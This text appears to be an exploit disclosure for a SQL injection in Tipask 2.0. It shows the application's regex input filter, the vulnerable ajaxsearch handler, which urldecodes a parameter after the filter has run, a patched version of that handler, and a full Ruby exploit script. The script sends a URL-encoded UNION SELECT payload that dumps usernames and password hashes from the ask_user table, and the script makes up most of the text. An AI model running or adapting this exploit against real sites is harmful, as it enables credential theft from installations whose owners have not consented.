$this->get = taddslashes($this-> get, 1); $this-> post = taddslashes(array_merge($_GET, $_POST)); checkattack($this-> post, 'post' ); checkattack($this-> get, 'get' );
function checkattack($reqarr, $reqtype= 'post') { $filtertable = array( 'get' => '\'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)' , 'post' => '\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)' , 'cookie' => '\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)' ); foreach ($reqarr as $reqkey => $reqvalue) { if (preg_match("/" . $filtertable[$reqtype] . "/is", $reqvalue) == 1) { print('Illegal operation!' ); exit(-1); } } }
/* 提问自动搜索已经解决的问题 */ function onajaxsearch () { $title = urldecode($this-> get[2]); $questionlist = $_ENV[ 'question']->search_title($title, 2, 1, 0, 5); include template('ajaxsearch' ); }
require "net/http" require "uri" def urlencode(exp) str = ""; exp.each_char { |c| str << sprintf("%%%x", c.ord) } return str end def request(method, url) if method.eql?("get") uri = URI.parse(url) http = Net::HTTP.new(uri.host, uri.port) response = http.request(Net::HTTP::Get.new(uri.request_uri)) return response end end doc =<<HERE ------------------------------------------------------- Tipask 2.0 Inejction Exploit Author:ztz Blog:http://ztz.fuzzexp.org/ ------------------------------------------------------- HERE usage =<<HERE Usage: ruby #{$0} host port path example: ruby #{$0} help.tipask.com 80 / HERE puts doc if ARGV.length < 3 puts usage else $host = ARGV[0] $port = ARGV[1] $path = ARGV[2] puts "[*]send request..." url = "http://#{$host}:#{$port}#{$path}?question/ajaxsearch/" exp = urlencode("' UNION SELECT 1,2,3,4,5,6,7,8,concat(username,char(0x3d),password),10,11,12,13,14,15,16,17,18,19,20,21 from ask_user#") response = request("get", url<<exp) result = response.body.scan(/\w+=\w{32}/) puts result end
function onajaxsearch () { $title = $this-> get[2]; $questionlist = $_ENV[ 'question']->search_title($title, 2, 1, 0, 5); include template('ajaxsearch' ); }